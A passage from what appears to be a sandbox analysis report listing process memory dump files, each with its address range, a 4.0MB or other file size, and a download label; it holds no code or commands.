4.0MB

Download
memory/3536-2196-0x00007FF622BB0000-0x00007FF622FA6000-memory.dmp

Filesize
4.0MB

Download
memory/3536-117-0x00007FF622BB0000-0x00007FF622FA6000-memory.dmp

Filesize
4.0MB

Download
memory/3868-135-0x00007FF6EB450000-0x00007FF6EB846000-memory.dmp

Filesize
4.0MB

Download
memory/3868-2203-0x00007FF6EB450000-0x00007FF6EB846000-memory.dmp

Filesize
4.0MB

Download
memory/4308-2198-0x00007FF7EB4B0000-0x00007FF7EB8A6000-memory.dmp

Filesize
4.0MB

Download
memory/4308-145-0x00007FF7EB4B0000-0x00007FF7EB8A6000-memory.dmp

Filesize
4.0MB

Download
memory/4412-16-0x00007FF60AED0000-0x00007FF60B2C6000-memory.dmp

Filesize
4.0MB

Download
memory/4412-2191-0x00007FF60AED0000-0x00007FF60B2C6000-memory.dmp

Filesize
4.0MB

Download
memory/4504-2192-0x00007FF67A630000-0x00007FF67AA26000-memory.dmp

Filesize
4.0MB

Download
memory/4504-142-0x00007FF67A630000-0x00007FF67AA26000-memory.dmp

Filesize
4.0MB

Download
memory/4828-2212-0x00007FF75FFC0000-0x00007FF7603B6000-memory.dmp

Filesize
4.0MB

Download
memory/4828-138-0x00007FF75FFC0000-0x00007FF7603B6000-memory.dmp

Filesize
4.0MB

Download
memory/4900-1225-0x00007FFC9B8F0000-0x00007FFC9C3B1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-49-0x0000027FAE0D0000-0x0000027FAE0F2000-memory.dmp

Filesize
136KB

Download
memory/4900-54-0x00007FFC9B8F0000-0x00007FFC9C3B1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-73-0x00007FFC9B8F0000-0x00007FFC9C3B1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-5-0x00007FFC9B8F3000-0x00007FFC9B8F5000-memory.dmp

Filesize
8KB

Download
memory/4996-133-0x00007FF713DD0000-0x00007FF7141C6000-memory.dmp

Filesize
4.0MB

Download
memory/4996-2204-0x00007FF713DD0000-0x00007FF7141C6000-memory.dmp

Filesize
4.0MB

Download